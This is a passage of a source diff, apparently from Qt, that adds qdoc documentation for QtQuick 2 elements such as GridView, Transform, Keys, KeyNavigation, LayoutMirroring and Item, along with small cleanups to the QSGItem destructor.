+ Component.onCompleted: positionViewAtIndex(count - 1, GridView.Beginning)
+ \endcode
+*/
+
+/*!
+ \qmlmethod QtQuick2::GridView::positionViewAtBeginning()
+ \qmlmethod QtQuick2::GridView::positionViewAtEnd()
+
+ Positions the view at the beginning or end, taking into account any header or footer.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end on startup:
+
+ \code
+ Component.onCompleted: positionViewAtEnd()
+ \endcode
+*/
+
+/*!
+ \qmlmethod int QtQuick2::GridView::indexAt(int x, int y)
+
+ Returns the index of the visible item containing the point \a x, \a y in content
+ coordinates. If there is no item at the point specified, or the item is
+ not visible -1 is returned.
+
+ If the item is outside the visible area, -1 is returned, regardless of
+ whether an item will exist at that point when scrolled into view.
+ \bold Note: methods should only be called after the Component has completed.
+*/
QSGGridViewAttached *QSGGridView::qmlAttachedProperties(QObject *obj)
{
return new QSGGridViewAttached(obj);
diff --git a/src/declarative/items/qsgimage.cpp b/src/declarative/items/qsgimage.cpp
index dc5c8d11c7..cb12c177cd 100644
--- a/src/declarative/items/qsgimage.cpp
+++ b/src/declarative/items/qsgimage.cpp
@@ -95,7 +95,6 @@ QSGImagePrivate::QSGImagePrivate()
/*!
\qmlclass Image QSGImage
- \since QtQuick 1.0
\inqmlmodule QtQuick 2
\ingroup qml-basic-visual-elements
\brief The Image element displays an image in a declarative user interface
@@ -446,7 +445,6 @@ qreal QSGImage::paintedHeight() const
/*!
\qmlproperty bool QtQuick2::Image::cache
- \since Quick 1.1
Specifies whether the image should be cached. The default value is
true. Setting \a cache to false is useful when dealing with large images,
@@ -455,7 +453,6 @@ qreal QSGImage::paintedHeight() const
/*!
\qmlproperty bool QtQuick2::Image::mirror
- \since Quick 1.1
This property holds whether the image should be horizontally inverted
(effectively displaying a mirrored image).
@@ -466,7 +463,6 @@ qreal QSGImage::paintedHeight() const
/*!
\qmlproperty enumeration QtQuick2::Image::horizontalAlignment
\qmlproperty enumeration QtQuick2::Image::verticalAlignment
- \since Quick 2.0
Sets the horizontal and vertical alignment of the image. By default, the image is top-left aligned.
diff --git a/src/declarative/items/qsgitem.cpp b/src/declarative/items/qsgitem.cpp
index 163cec13ee..a7797630c0 100644
--- a/src/declarative/items/qsgitem.cpp
+++ b/src/declarative/items/qsgitem.cpp
@@ -71,6 +71,168 @@
QT_BEGIN_NAMESPACE
+/*!
+ \qmlclass Transform QSGTransform
+ \inqmlmodule QtQuick 2
+ \ingroup qml-transform-elements
+ \brief The Transform elements provide a way of building advanced transformations on Items.
+
+ The Transform element is a base type which cannot be instantiated directly.
+ The following concrete Transform types are available:
+
+ \list
+ \o \l Rotation
+ \o \l Scale
+ \o \l Translate
+ \endlist
+
+ The Transform elements let you create and control advanced transformations that can be configured
+ independently using specialized properties.
+
+ You can assign any number of Transform elements to an \l Item. Each Transform is applied in order,
+ one at a time.
+*/
+
+/*!
+ \qmlclass Translate QSGTranslate
+ \inqmlmodule QtQuick 2
+ \ingroup qml-transform-elements
+ \brief The Translate object provides a way to move an Item without changing its x or y properties.
+
+ The Translate object provides independent control over position in addition to the Item's x and y properties.
+
+ The following example moves the Y axis of the \l Rectangle elements while still allowing the \l Row element
+ to lay the items out as if they had not been transformed:
+ \qml
+ import QtQuick 1.0
+
+ Row {
+ Rectangle {
+ width: 100; height: 100
+ color: "blue"
+ transform: Translate { y: 20 }
+ }
+ Rectangle {
+ width: 100; height: 100
+ color: "red"
+ transform: Translate { y: -20 }
+ }
+ }
+ \endqml
+
+ \image translate.png
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Translate::x
+
+ The translation along the X axis.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Translate::y
+
+ The translation along the Y axis.
+*/
+
+/*!
+ \qmlclass Scale QSGScale
+ \inqmlmodule QtQuick 2
+ \ingroup qml-transform-elements
+ \brief The Scale element provides a way to scale an Item.
+
+ The Scale element gives more control over scaling than using \l Item's \l{Item::scale}{scale} property. Specifically,
+ it allows a different scale for the x and y axes, and allows the scale to be relative to an
+ arbitrary point.
+
+ The following example scales the X axis of the Rectangle, relative to its interior point 25, 25:
+ \qml
+ Rectangle {
+ width: 100; height: 100
+ color: "blue"
+ transform: Scale { origin.x: 25; origin.y: 25; xScale: 3}
+ }
+ \endqml
+
+ \sa Rotation, Translate
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Scale::origin.x
+ \qmlproperty real QtQuick2::Scale::origin.y
+
+ The point that the item is scaled from (i.e., the point that stays fixed relative to the parent as
+ the rest of the item grows). By default the origin is 0, 0.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Scale::xScale
+
+ The scaling factor for the X axis.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Scale::yScale
+
+ The scaling factor for the Y axis.
+*/
+
+/*!
+ \qmlclass Rotation QSGRotation
+ \inqmlmodule QtQuick 2
+ \ingroup qml-transform-elements
+ \brief The Rotation object provides a way to rotate an Item.
+
+ The Rotation object gives more control over rotation than using \l Item's \l{Item::rotation}{rotation} property.
+ Specifically, it allows (z axis) rotation to be relative to an arbitrary point.
+
+ The following example rotates a Rectangle around its interior point 25, 25:
+ \qml
+ Rectangle {
+ width: 100; height: 100
+ color: "blue"
+ transform: Rotation { origin.x: 25; origin.y: 25; angle: 45}
+ }
+ \endqml
+
+ Rotation also provides a way to specify 3D-like rotations for Items. For these types of
+ rotations you must specify the axis to rotate around in addition to the origin point.
+
+ The following example shows various 3D-like rotations applied to an \l Image.
+ \snippet doc/src/snippets/declarative/rotation.qml 0
+
+ \image axisrotation.png
+
+ \sa {declarative/ui-components/dialcontrol}{Dial Control example}, {declarative/toys/clocks}{Clocks example}
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Rotation::origin.x
+ \qmlproperty real QtQuick2::Rotation::origin.y
+
+ The origin point of the rotation (i.e., the point that stays fixed relative to the parent as
+ the rest of the item rotates). By default the origin is 0, 0.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Rotation::axis.x
+ \qmlproperty real QtQuick2::Rotation::axis.y
+ \qmlproperty real QtQuick2::Rotation::axis.z
+
+ The axis to rotate around. For simple (2D) rotation around a point, you do not need to specify an axis,
+ as the default axis is the z axis (\c{ axis { x: 0; y: 0; z: 1 } }).
+
+ For a typical 3D-like rotation you will usually specify both the origin and the axis.
+
+ \image 3d-rotation-axis.png
+*/
+
+/*!
+ \qmlproperty real QtQuick2::Rotation::angle
+
+ The angle to rotate, in degrees clockwise.
+*/
+
QSGTransformPrivate::QSGTransformPrivate()
{
}
@@ -104,7 +266,7 @@ void QSGTransform::update()
}
}
-QSGContents::QSGContents(QSGItem *item)
+QSGContents::QSGContents(QSGItem *item)
: m_item(item), m_x(0), m_y(0), m_width(0), m_height(0)
{
//### optimize
@@ -283,6 +445,69 @@ void QSGItemKeyFilter::componentComplete()
{
if (m_next) m_next->componentComplete();
}
+/*!
+ \qmlclass KeyNavigation QSGKeyNavigationAttached
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-interaction-elements
+ \brief The KeyNavigation attached property supports key navigation by arrow keys.
+
+ Key-based user interfaces commonly allow the use of arrow keys to navigate between
+ focusable items. The KeyNavigation attached property enables this behavior by providing a
+ convenient way to specify the item that should gain focus when an arrow or tab key is pressed.
+
+ The following example provides key navigation for a 2x2 grid of items:
+
+ \snippet doc/src/snippets/declarative/keynavigation.qml 0
+
+ The top-left item initially receives focus by setting \l {Item::}{focus} to
+ \c true. When an arrow key is pressed, the focus will move to the
+ appropriate item, as defined by the value that has been set for
+ the KeyNavigation \l left, \l right, \l up or \l down properties.
+
+ Note that if a KeyNavigation attached property receives the key press and release
+ events for a requested arrow or tab key, the event is accepted and does not
+ propagate any further.
+
+ By default, KeyNavigation receives key events after the item to which it is attached.
+ If the item accepts the key event, the KeyNavigation attached property will not
+ receive an event for that key. Setting the \l priority property to
+ \c KeyNavigation.BeforeItem allows the event to be used for key navigation
+ before the item, rather than after.
+
+ If item to which the focus is switching is not enabled or visible, an attempt will
+ be made to skip this item and focus on the next. This is possible if there are
+ a chain of items with the same KeyNavigation handler. If multiple items in a row are not enabled
+ or visible, they will also be skipped.
+
+ KeyNavigation will implicitly set the other direction to return focus to this item. So if you set
+ \l left to another item, \l right will be set on that item's KeyNavigation to set focus back to this
+ item. However, if that item's KeyNavigation has had right explicitly set then no change will occur.
+ This means that the above example could have been written, with the same behaviour, without specifing
+ KeyNavigation.right or KeyNavigation.down for any of the items.
+
+ \sa {Keys}{Keys attached property}
+*/
+
+/*!
+ \qmlproperty Item QtQuick2::KeyNavigation::left
+ \qmlproperty Item QtQuick2::KeyNavigation::right
+ \qmlproperty Item QtQuick2::KeyNavigation::up
+ \qmlproperty Item QtQuick2::KeyNavigation::down
+ \qmlproperty Item QtQuick2::KeyNavigation::tab
+ \qmlproperty Item QtQuick2::KeyNavigation::backtab
+
+ These properties hold the item to assign focus to
+ when the left, right, up or down cursor keys, or the
+ tab key are pressed.
+*/
+
+/*!
+ \qmlproperty Item QtQuick2::KeyNavigation::tab
+ \qmlproperty Item QtQuick2::KeyNavigation::backtab
+
+ These properties hold the item to assign focus to
+ when the Tab key or Shift+Tab key combination (Backtab) are pressed.
+*/
QSGKeyNavigationAttached::QSGKeyNavigationAttached(QObject *parent)
: QObject(*(new QSGKeyNavigationAttachedPrivate), parent),
@@ -429,6 +654,21 @@ void QSGKeyNavigationAttached::setBacktab(QSGItem *i)
emit backtabChanged();
}
+/*!
+ \qmlproperty enumeration QtQuick2::KeyNavigation::priority
+
+ This property determines whether the keys are processed before
+ or after the attached item's own key handling.
+
+ \list
+ \o KeyNavigation.BeforeItem - process the key events before normal
+ item key processing. If the event is used for key navigation, it will be accepted and will not
+ be passed on to the item.
+ \o KeyNavigation.AfterItem (default) - process the key events after normal item key
+ handling. If the item accepts the key event it will not be
+ handled by the KeyNavigation attached property handler.
+ \endlist
+*/
QSGKeyNavigationAttached::Priority QSGKeyNavigationAttached::priority() const
{
return m_processPost ? AfterItem : BeforeItem;
@@ -617,6 +857,393 @@ bool QSGKeysAttachedPrivate::isConnected(const char *signalName)
return isSignalConnected(signalIndex(signalName));
}
+/*!
+ \qmlclass Keys QSGKeysAttached
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-interaction-elements
+ \brief The Keys attached property provides key handling to Items.
+
+ All visual primitives support key handling via the Keys
+ attached property. Keys can be handled via the onPressed
+ and onReleased signal properties.
+
+ The signal properties have a \l KeyEvent parameter, named
+ \e event which contains details of the event. If a key is
+ handled \e event.accepted should be set to true to prevent the
+ event from propagating up the item hierarchy.
+
+ \section1 Example Usage
+
+ The following example shows how the general onPressed handler can
+ be used to test for a certain key; in this case, the left cursor
+ key:
+
+ \snippet doc/src/snippets/declarative/keys/keys-pressed.qml key item
+
+ Some keys may alternatively be handled via specific signal properties,
+ for example \e onSelectPressed. These handlers automatically set
+ \e event.accepted to true.
+
+ \snippet doc/src/snippets/declarative/keys/keys-handler.qml key item
+
+ See \l{Qt::Key}{Qt.Key} for the list of keyboard codes.
+
+ \section1 Key Handling Priorities
+
+ The Keys attached property can be configured to handle key events
+ before or after the item it is attached to. This makes it possible
+ to intercept events in order to override an item's default behavior,
+ or act as a fallback for keys not handled by the item.
+
+ If \l priority is Keys.BeforeItem (default) the order of key event processing is:
+
+ \list 1
+ \o Items specified in \c forwardTo
+ \o specific key handlers, e.g. onReturnPressed
+ \o onKeyPress, onKeyRelease handlers
+ \o Item specific key handling, e.g. TextInput key handling
+ \o parent item
+ \endlist
+
+ If priority is Keys.AfterItem the order of key event processing is:
+
+ \list 1
+ \o Item specific key handling, e.g. TextInput key handling
+ \o Items specified in \c forwardTo
+ \o specific key handlers, e.g. onReturnPressed
+ \o onKeyPress, onKeyRelease handlers
+ \o parent item
+ \endlist
+
+ If the event is accepted during any of the above steps, key
+ propagation stops.
+
+ \sa KeyEvent, {KeyNavigation}{KeyNavigation attached property}
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::Keys::enabled
+
+ This flags enables key handling if true (default); otherwise
+ no key handlers will be called.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::Keys::priority
+
+ This property determines whether the keys are processed before
+ or after the attached item's own key handling.
+
+ \list
+ \o Keys.BeforeItem (default) - process the key events before normal
+ item key processing. If the event is accepted it will not
+ be passed on to the item.
+ \o Keys.AfterItem - process the key events after normal item key
+ handling. If the item accepts the key event it will not be
+ handled by the Keys attached property handler.
+ \endlist
+*/
+
+/*!
+ \qmlproperty list<Object> QtQuick2::Keys::forwardTo
+
+ This property provides a way to forward key presses, key releases, and keyboard input
+ coming from input methods to other items. This can be useful when you want
+ one item to handle some keys (e.g. the up and down arrow keys), and another item to
+ handle other keys (e.g. the left and right arrow keys). Once an item that has been
+ forwarded keys accepts the event it is no longer forwarded to items later in the
+ list.
+
+ This example forwards key events to two lists:
+ \qml
+ Item {
+ ListView {
+ id: list1
+ // ...
+ }
+ ListView {
+ id: list2
+ // ...
+ }
+ Keys.forwardTo: [list1, list2]
+ focus: true
+ }
+ \endqml
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onPressed(KeyEvent event)
+
+ This handler is called when a key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onReleased(KeyEvent event)
+
+ This handler is called when a key has been released. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit0Pressed(KeyEvent event)
+
+ This handler is called when the digit '0' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit1Pressed(KeyEvent event)
+
+ This handler is called when the digit '1' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit2Pressed(KeyEvent event)
+
+ This handler is called when the digit '2' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit3Pressed(KeyEvent event)
+
+ This handler is called when the digit '3' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit4Pressed(KeyEvent event)
+
+ This handler is called when the digit '4' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit5Pressed(KeyEvent event)
+
+ This handler is called when the digit '5' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit6Pressed(KeyEvent event)
+
+ This handler is called when the digit '6' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit7Pressed(KeyEvent event)
+
+ This handler is called when the digit '7' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit8Pressed(KeyEvent event)
+
+ This handler is called when the digit '8' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDigit9Pressed(KeyEvent event)
+
+ This handler is called when the digit '9' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onLeftPressed(KeyEvent event)
+
+ This handler is called when the Left arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onRightPressed(KeyEvent event)
+
+ This handler is called when the Right arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onUpPressed(KeyEvent event)
+
+ This handler is called when the Up arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDownPressed(KeyEvent event)
+
+ This handler is called when the Down arrow has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onTabPressed(KeyEvent event)
+
+ This handler is called when the Tab key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onBacktabPressed(KeyEvent event)
+
+ This handler is called when the Shift+Tab key combination (Backtab) has
+ been pressed. The \a event parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onAsteriskPressed(KeyEvent event)
+
+ This handler is called when the Asterisk '*' has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onEscapePressed(KeyEvent event)
+
+ This handler is called when the Escape key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onReturnPressed(KeyEvent event)
+
+ This handler is called when the Return key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onEnterPressed(KeyEvent event)
+
+ This handler is called when the Enter key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onDeletePressed(KeyEvent event)
+
+ This handler is called when the Delete key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onSpacePressed(KeyEvent event)
+
+ This handler is called when the Space key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onBackPressed(KeyEvent event)
+
+ This handler is called when the Back key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onCancelPressed(KeyEvent event)
+
+ This handler is called when the Cancel key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onSelectPressed(KeyEvent event)
+
+ This handler is called when the Select key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onYesPressed(KeyEvent event)
+
+ This handler is called when the Yes key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onNoPressed(KeyEvent event)
+
+ This handler is called when the No key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onContext1Pressed(KeyEvent event)
+
+ This handler is called when the Context1 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onContext2Pressed(KeyEvent event)
+
+ This handler is called when the Context2 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onContext3Pressed(KeyEvent event)
+
+ This handler is called when the Context3 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onContext4Pressed(KeyEvent event)
+
+ This handler is called when the Context4 key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onCallPressed(KeyEvent event)
+
+ This handler is called when the Call key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onHangupPressed(KeyEvent event)
+
+ This handler is called when the Hangup key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onFlipPressed(KeyEvent event)
+
+ This handler is called when the Flip key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onMenuPressed(KeyEvent event)
+
+ This handler is called when the Menu key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onVolumeUpPressed(KeyEvent event)
+
+ This handler is called when the VolumeUp key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
+/*!
+ \qmlsignal QtQuick2::Keys::onVolumeDownPressed(KeyEvent event)
+
+ This handler is called when the VolumeDown key has been pressed. The \a event
+ parameter provides information about the event.
+*/
+
QSGKeysAttached::QSGKeysAttached(QObject *parent)
: QObject(*(new QSGKeysAttachedPrivate), parent),
QSGItemKeyFilter(qobject_cast<QSGItem*>(parent))
@@ -759,7 +1386,7 @@ QVariant QSGKeysAttached::inputMethodQuery(Qt::InputMethodQuery query) const
if (d->item) {
for (int ii = 0; ii < d->targets.count(); ++ii) {
QSGItem *i = d->targets.at(ii);
- if (i && i->isVisible() && (i->flags() & QSGItem::ItemAcceptsInputMethod) && i == d->imeItem) {
+ if (i && i->isVisible() && (i->flags() & QSGItem::ItemAcceptsInputMethod) && i == d->imeItem) {
//### how robust is i == d->imeItem check?
QVariant v = i->inputMethodQuery(query);
if (v.userType() == QVariant::RectF)
@@ -776,6 +1403,69 @@ QSGKeysAttached *QSGKeysAttached::qmlAttachedProperties(QObject *obj)
return new QSGKeysAttached(obj);
}
+/*!
+ \qmlclass LayoutMirroring QSGLayoutMirroringAttached
+ \inqmlmodule QtQuick 2
+ \ingroup qml-utility-elements
+ \brief The LayoutMirroring attached property is used to mirror layout behavior.
+
+ The LayoutMirroring attached property is used to horizontally mirror \l {anchor-layout}{Item anchors},
+ \l{Using QML Positioner and Repeater Items}{positioner} elements (such as \l Row and \l Grid)
+ and views (such as \l GridView and horizontal \l ListView). Mirroring is a visual change: left
+ anchors become right anchors, and positioner elements like \l Grid and \l Row reverse the
+ horizontal layout of child items.
+
+ Mirroring is enabled for an item by setting the \l enabled property to true. By default, this
+ only affects the item itself; setting the \l childrenInherit property to true propagates the mirroring
+ behavior to all child elements as well. If the \c LayoutMirroring attached property has not been defined
+ for an item, mirroring is not enabled.
+
+ The following example shows mirroring in action. The \l Row below is specified as being anchored
+ to the left of its parent. However, since mirroring has been enabled, the anchor is horizontally
+ reversed and it is now anchored to the right. Also, since items in a \l Row are positioned
+ from left to right by default, they are now positioned from right to left instead, as demonstrated
+ by the numbering and opacity of the items:
+
+ \snippet doc/src/snippets/declarative/layoutmirroring.qml 0
+
+ \image layoutmirroring.png
+
+ Layout mirroring is useful when it is necessary to support both left-to-right and right-to-left
+ layout versions of an application to target different language areas. The \l childrenInherit
+ property allows layout mirroring to be applied without manually setting layout configurations
+ for every item in an application. Keep in mind, however, that mirroring does not affect any
+ positioning that is defined by the \l Item \l {Item::}{x} coordinate value, so even with
+ mirroring enabled, it will often be necessary to apply some layout fixes to support the
+ desired layout direction. Also, it may be necessary to disable the mirroring of individual
+ child items (by setting \l {enabled}{LayoutMirroring.enabled} to false for such items) if
+ mirroring is not the desired behavior, or if the child item already implements mirroring in
+ some custom way.
+
+ See \l {QML Right-to-left User Interfaces} for further details on using \c LayoutMirroring and
+ other related features to implement right-to-left support for an application.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::LayoutMirroring::enabled
+
+ This property holds whether the item's layout is mirrored horizontally. Setting this to true
+ horizontally reverses \l {anchor-layout}{anchor} settings such that left anchors become right,
+ and right anchors become left. For \l{Using QML Positioner and Repeater Items}{positioner} elements
+ (such as \l Row and \l Grid) and view elements (such as \l {GridView}{GridView} and \l {ListView}{ListView})
+ this also mirrors the horizontal layout direction of the item.
+
+ The default value is false.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::LayoutMirroring::childrenInherit
+
+ This property holds whether the \l {enabled}{LayoutMirroring.enabled} value for this item
+ is inherited by its children.
+
+ The default value is false.
+*/
+
QSGLayoutMirroringAttached::QSGLayoutMirroringAttached(QObject *parent) : QObject(parent), itemPrivate(0)
{
@@ -880,6 +1570,137 @@ void QSGItemPrivate::setLayoutMirror(bool mirror)
}
}
+/*!
+ \class QSGItem
+ \brief The QSGItem class provides the most basic of all visual items in QML.
+
+ All visual items in Qt Declarative inherit from QSGItem. Although QSGItem
+ has no visual appearance, it defines all the properties that are
+ common across visual items - such as the x and y position, the
+ width and height, \l {anchor-layout}{anchoring} and key handling.
+
+ You can subclass QSGItem to provide your own custom visual item that inherits
+ these features. Note that, because it does not draw anything, QSGItem sets the
+ QGraphicsItem::ItemHasNoContents flag. If you subclass QSGItem to create a visual
+ item, you will need to unset this flag.
+
+*/
+
+/*!
+ \qmlclass Item QSGItem
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+ \brief The Item is the most basic of all visual items in QML.
+
+ All visual items in Qt Declarative inherit from Item. Although Item
+ has no visual appearance, it defines all the properties that are
+ common across visual items - such as the x and y position, the
+ width and height, \l {anchor-layout}{anchoring} and key handling.
+
+ Item is also useful for grouping items together.
+
+ \qml
+ Item {
+ Image {
+ source: "tile.png"
+ }
+ Image {
+ x: 80
+ width: 100
+ height: 100
+ source: "tile.png"
+ }
+ Image {
+ x: 190
+ width: 100
+ height: 100
+ fillMode: Image.Tile
+ source: "tile.png"
+ }
+ }
+ \endqml
+
+
+ \section1 Key Handling
+
+ Key handling is available to all Item-based visual elements via the \l {Keys}{Keys}
+ attached property. The \e Keys attached property provides basic handlers such
+ as \l {Keys::onPressed}{onPressed} and \l {Keys::onReleased}{onReleased},
+ as well as handlers for specific keys, such as
+ \l {Keys::onCancelPressed}{onCancelPressed}. The example below
+ assigns \l {qmlfocus}{focus} to the item and handles
+ the Left key via the general \e onPressed handler and the Select key via the
+ onSelectPressed handler:
+
+ \qml
+ Item {
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_Left) {
+ console.log("move left");
+ event.accepted = true;
+ }
+ }
+ Keys.onSelectPressed: console.log("Selected");
+ }
+ \endqml
+
+ See the \l {Keys}{Keys} attached property for detailed documentation.
+
+ \section1 Layout Mirroring
+
+ Item layouts can be mirrored using the \l {LayoutMirroring}{LayoutMirroring} attached property.
+
+*/
+
+/*!
+ \fn void QSGItem::childrenRectChanged(const QRectF &)
+ \internal
+*/
+
+/*!
+ \fn void QSGItem::baselineOffsetChanged(qreal)
+ \internal
+*/
+
+/*!
+ \fn void QSGItem::stateChanged(const QString &state)
+ \internal
+*/
+
+/*!
+ \fn void QSGItem::parentChanged(QSGItem *)
+ \internal
+*/
+
+/*!
+ \fn void QSGItem::smoothChanged(bool)
+ \internal
+*/
+
+/*!
+ \fn void QSGItem::clipChanged(bool)
+ \internal
+*/
+
+/*! \fn void QSGItem::transformOriginChanged(TransformOrigin)
+ \internal
+*/
+
+/*!
+ \fn void QSGItem::focusChanged(bool)
+ \internal
+*/
+
+/*!
+ \fn void QSGItem::activeFocusChanged(bool)
+ \internal
+*/
+/*!
+ \fn QSGItem::QSGItem(QSGItem *parent)
+
+ Constructs a QSGItem with the given \a parent.
+*/
QSGItem::QSGItem(QSGItem* parent)
: QObject(*(new QSGItemPrivate), parent)
{
@@ -887,6 +1708,8 @@ QSGItem::QSGItem(QSGItem* parent)
d->init(parent);
}
+/*! \internal
+*/
QSGItem::QSGItem(QSGItemPrivate &dd, QSGItem *parent)
: QObject(dd, parent)
{
@@ -894,15 +1717,37 @@ QSGItem::QSGItem(QSGItemPrivate &dd, QSGItem *parent)
d->init(parent);
}
+#ifndef QT_NO_DEBUG
+static int qt_item_count = 0;
+
+static void qt_print_item_count()
+{
+ qDebug("Number of leaked items: %i", qt_item_count);
+ qt_item_count = -1;
+}
+#endif
+
+/*!
+ Destroys the QSGItem.
+*/
QSGItem::~QSGItem()
{
+#ifndef QT_NO_DEBUG
+ --qt_item_count;
+ if (qt_item_count < 0)
+ qDebug("Item destroyed after qt_print_item_count() was called.");
+#endif
+
Q_D(QSGItem);
+ if (d->parentItem)
+ setParentItem(0);
+ else if (d->canvas && d->itemNodeInstance)
+ QSGCanvasPrivate::get(d->canvas)->cleanup(d->itemNodeInstance); // cleanup root
// XXX todo - optimize
- setParentItem(0);
while (!d->childItems.isEmpty())
d->childItems.first()->setParentItem(0);
-
+
for (int ii = 0; ii < d->changeListeners.count(); ++ii) {
QSGAnchorsPrivate *anchor = d->changeListeners.at(ii).listener->anchorPrivate();
if (anchor)
@@ -915,7 +1760,7 @@ QSGItem::~QSGItem()
if (anchor && anchor->item && anchor->item->parent() != this) //child will be deleted anyway
anchor->updateOnComplete();
}
-
+
for (int ii = 0; ii < d->changeListeners.count(); ++ii) {
const QSGItemPrivate::ChangeListener &change = d->changeListeners.at(ii);
if (change.types & QSGItemPrivate::Destroyed)
@@ -928,6 +1773,38 @@ QSGItem::~QSGItem()
delete d->_contents; d->_contents = 0;
}
+/*!
+ \qmlproperty enumeration QtQuick2::Item::transformOrigin
+ This property holds the origin point around which scale and rotation transform.
+
+ Nine transform origins are available, as shown in the image below.
+
+ \image declarative-transformorigin.png
+
+ This example rotates an image around its bottom-right corner.
+ \qml
+ Image {
+ source: "myimage.png"
+ transformOrigin: Item.BottomRight
+ rotation: 45
+ }
+ \endqml
+
+ The default transform origin is \c Item.Center.
+
+ To set an arbitrary transform origin point use the \l Scale or \l Rotation
+ transform elements.
+*/
+
+/*!
+ \qmlproperty Item QtQuick2::Item::parent
+ This property holds the parent of the item.
+*/
+
+/*!
+ \property QSGItem::parent
+ This property holds the parent of the item.
+*/
void QSGItem::setParentItem(QSGItem *parentItem)
{
Q_D(QSGItem);
@@ -952,10 +1829,10 @@ void QSGItem::setParentItem(QSGItem *parentItem)
scopeItem = oldParentItem;
while (!scopeItem->isFocusScope()) scopeItem = scopeItem->parentItem();
scopeFocusedItem = d->subFocusItem;
- }
+ }
- if (scopeFocusedItem)
- QSGCanvasPrivate::get(d->canvas)->clearFocusInScope(scopeItem, scopeFocusedItem,
+ if (scopeFocusedItem)
+ QSGCanvasPrivate::get(d->canvas)->clearFocusInScope(scopeItem, scopeFocusedItem,
QSGCanvasPrivate::DontChangeFocusProperty);
op->removeChild(this);
